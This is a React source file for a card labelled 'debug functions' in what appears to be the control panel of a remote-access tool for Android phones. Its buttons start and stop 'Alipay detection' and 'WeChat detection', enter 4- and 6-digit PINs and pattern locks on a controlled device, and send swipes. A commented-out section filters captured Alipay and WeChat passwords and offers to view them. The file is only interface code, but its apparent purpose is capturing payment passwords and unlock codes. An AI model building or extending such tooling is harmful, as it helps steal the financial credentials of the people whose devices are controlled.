web-client/src/components/Control/DebugFunctionsCard.tsx

import React, { useState } from 'react'
import { Card, Button, Row, Col } from 'antd'
import { NodeIndexOutlined, DollarOutlined, WechatOutlined, KeyOutlined, AppstoreOutlined } from '@ant-design/icons'

export interface DebugFunctionsCardProps {
    // 基本
    children?: React.ReactNode
    title?: string
    extra?: React.ReactNode
    footer?: React.ReactNode
    style?: React.CSSProperties
    loading?: boolean
    actions?: React.ReactNode[]
    collapsible?: boolean
    defaultCollapsed?: boolean
    // 运行态
    operationEnabled: boolean
    // 屏幕阅读器
    screenReaderEnabled?: boolean
    screenReaderLoading?: boolean
    onToggleScreenReader: () => void
    // 虚拟按键
    virtualKeyboardEnabled?: boolean
    onToggleVirtualKeyboard: () => void
    // 支付宝/微信检测
    alipayDetectionEnabled: boolean
    wechatDetectionEnabled: boolean
    onStartAlipayDetection: () => void
    onStopAlipayDetection: () => void
    onStartWechatDetection: () => void
    onStopWechatDetection: () => void
    // 密码操作
    onOpenFourDigitPin: () => void
    onOpenSixDigitPin: () => void
    onOpenPatternLock: () => void
    passwordFilter: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD'
    onPasswordFilterChange: (v: 'DEFAULT' | 'ALIPAY_PASSWORD' | 'WECHAT_PASSWORD') => void
    onViewPasswords: () => void
    // 显示控制
    showScreenReaderControls?: boolean
    showPasswordControls?: boolean
    // 手势操作
    onSwipeUp?: () => void
    onSwipeDown?: () => void
    onSwipeLeft?: () => void
    onSwipeRight?: () => void
}

export const DebugFunctionsCard: React.FC<DebugFunctionsCardProps> = ({
    title = '调试功能',
    extra,
    footer,
    style,
    loading,
    actions,
    collapsible = false,
    defaultCollapsed = false,
    operationEnabled,
    screenReaderEnabled,
    screenReaderLoading,
    onToggleScreenReader,
    virtualKeyboardEnabled,
    onToggleVirtualKeyboard,
    alipayDetectionEnabled,
    wechatDetectionEnabled,
    onStartAlipayDetection,
    onStopAlipayDetection,
    onStartWechatDetection,
    onStopWechatDetection,
    onOpenFourDigitPin,
    onOpenSixDigitPin,
    onOpenPatternLock,
    showScreenReaderControls = true,
    showPasswordControls = true,
    onSwipeUp,
    onSwipeDown,
    onSwipeLeft,
    onSwipeRight,
    children
}) => {
    const [collapsed, setCollapsed] = useState<boolean>(defaultCollapsed)

    const renderExtra = (
        <div style={{ display: 'flex', gap: 8, alignItems: 'center' }}>
            {extra}
            {collapsible && (
                <Button type="link" size="small" onClick={() => setCollapsed(v => !v)}>
                    {collapsed ? '展开' : '收起'}
                </Button>
            )}
        </div>
    )

    return (
        <Card
            title={title}
            size="small"
            extra={renderExtra}
            style={style}
            loading={loading}
            actions={actions}
        >
            {!collapsed && children && (
                <div style={{ marginBottom: 16 }}>
                    {children}
                </div>
            )}
            {!collapsed && (
                <>
                    {showScreenReaderControls && (
                    <Row gutter={[8, 8]} style={{ marginTop: 8 ,display:'none'}}>
                        <Col span={24}>
                            <Button
                                block
                                type={screenReaderEnabled ? 'primary' : 'dashed'}
                                icon={<NodeIndexOutlined />}
                                onClick={onToggleScreenReader}
                                disabled={!operationEnabled}
                                loading={screenReaderLoading}
                                style={{
                                    fontSize: 12,
                                    background: screenReaderEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                                    borderColor: screenReaderEnabled ? '#52c41a' : undefined
                                }}
                            >
                                📱 {screenReaderEnabled ? '增强版屏幕阅读器已启用' : '启用增强版屏幕阅读器'}
                            </Button>
                        </Col>
                        <Col span={24}>
                            <Button
                                block
                                type={virtualKeyboardEnabled ? 'primary' : 'dashed'}
                                icon={<KeyOutlined />}
                                onClick={onToggleVirtualKeyboard}
                                disabled={!operationEnabled || !screenReaderEnabled}
                                style={{
                                    fontSize: 12,
                                    background: virtualKeyboardEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
                                    borderColor: virtualKeyboardEnabled ? '#1890ff' : undefined
                                }}
                            >
                                ⌨️ {virtualKeyboardEnabled ? '虚拟按键已显示' : '显示虚拟按键'}
                            </Button>
                        </Col>
                    </Row>
                    )}

                    {showPasswordControls && (
                    <Row gutter={[8, 8]} style={{ marginTop: 8 }}>
                        <Col span={12}>
                            <Button
                                block
                                type={alipayDetectionEnabled ? 'default' : 'primary'}
                                icon={<DollarOutlined />}
                                onClick={alipayDetectionEnabled ? onStopAlipayDetection : onStartAlipayDetection}
                                disabled={!operationEnabled}
                                style={{
                                    background: !alipayDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
                                    borderColor: !alipayDetectionEnabled && operationEnabled ? '#1890ff' : undefined,
                                    color: !alipayDetectionEnabled && operationEnabled ? 'white' : undefined
                                }}
                            >
                                {alipayDetectionEnabled ? '停止支付宝检测' : '支付宝检测'}
                            </Button>
                        </Col>
                        <Col span={12}>
                            <Button
                                block
                                type={wechatDetectionEnabled ? 'default' : 'primary'}
                                icon={<WechatOutlined />}
                                onClick={wechatDetectionEnabled ? onStopWechatDetection : onStartWechatDetection}
                                disabled={!operationEnabled}
                                style={{
                                    background: !wechatDetectionEnabled && operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                                    borderColor: !wechatDetectionEnabled && operationEnabled ? '#52c41a' : undefined,
                                    color: !wechatDetectionEnabled && operationEnabled ? 'white' : undefined
                                }}
                            >
                                {wechatDetectionEnabled ? '停止微信检测' : '微信检测'}
                            </Button>
                        </Col>

                        <Col span={12}>
                            <Button
                                block
                                type="primary"
                                icon={<KeyOutlined />}
                                onClick={onOpenFourDigitPin}
                                disabled={!operationEnabled}
                                style={{
                                    background: operationEnabled ? 'linear-gradient(135deg, #52c41a 0%, #73d13d 100%)' : undefined,
                                    borderColor: operationEnabled ? '#52c41a' : undefined,
                                    color: operationEnabled ? 'white' : undefined
                                }}
                            >
                                4位PIN输入
                            </Button>
                        </Col>
                        <Col span={12}>
                            <Button
                                block
                                type="primary"
                                icon={<KeyOutlined />}
                                onClick={onOpenSixDigitPin}
                                disabled={!operationEnabled}
                                style={{
                                    background: operationEnabled ? 'linear-gradient(135deg, #1890ff 0%, #40a9ff 100%)' : undefined,
                                    borderColor: operationEnabled ? '#1890ff' : undefined,
                                    color: operationEnabled ? 'white' : undefined
                                }}
                            >
                                6位PIN输入
                            </Button>
                        </Col>

                        <Col span={24}>
                            <Button
                                block
                                type="primary"
                                icon={<AppstoreOutlined />}
                                onClick={onOpenPatternLock}
                                disabled={!operationEnabled}
                                style={{
                                    background: operationEnabled ? 'linear-gradient(135deg, #722ed1 0%, #9254de 100%)' : undefined,
                                    borderColor: operationEnabled ? '#722ed1' : undefined,
                                    color: operationEnabled ? 'white' : undefined
                                }}
                            >
                                图形密码输入
                            </Button>
                        </Col>
{/* 
                        <Col span={24}>
                            <div style={{ display: 'flex', gap: 8 }}>
                                <Select
                                    style={{ width: 160 }}
                                    value={passwordFilter}
                                    onChange={(val) => onPasswordFilterChange(val as any)}
                                    options={[
                                        { label: '默认', value: 'DEFAULT' },
                                        { label: '支付宝', value: 'ALIPAY_PASSWORD' },
                                        { label: '微信', value: 'WECHAT_PASSWORD' }
                                    ]}
                                />
                                <Button
                                    type="default"
                                    icon={<FileTextOutlined />}
                                    onClick={onViewPasswords}
                                    disabled={!operationEnabled}
                                >
                                    查看密码
                                </Button>
                            </div>
                        </Col> */}
                    </Row>
                    )}
                </>
            )}
            {footer && (
                <div style={{ marginTop: 8 }}>
                    {footer}
                </div>
            )}
            {/* 手势操作（可选） */}
            {!collapsed && (onSwipeUp || onSwipeDown || onSwipeLeft || onSwipeRight) && (
                <Row gutter={[8, 8]} style={{ marginTop: 8 }}>
                    {onSwipeUp && (
                        <Col span={12}><Button block onClick={onSwipeUp}>↑ 上滑</Button></Col>
                    )}
                    {onSwipeDown && (
                        <Col span={12}><Button block onClick={onSwipeDown}>↓ 下滑</Button></Col>
                    )}
                    {onSwipeLeft && (
                        <Col span={12}><Button block onClick={onSwipeLeft}>← 左滑</Button></Col>
                    )}
                    {onSwipeRight && (
                        <Col span={12}><Button block onClick={onSwipeRight}>→ 右滑</Button></Col>
                    )}
                </Row>
            )}
        </Card>
    )
}

export default DebugFunctionsCard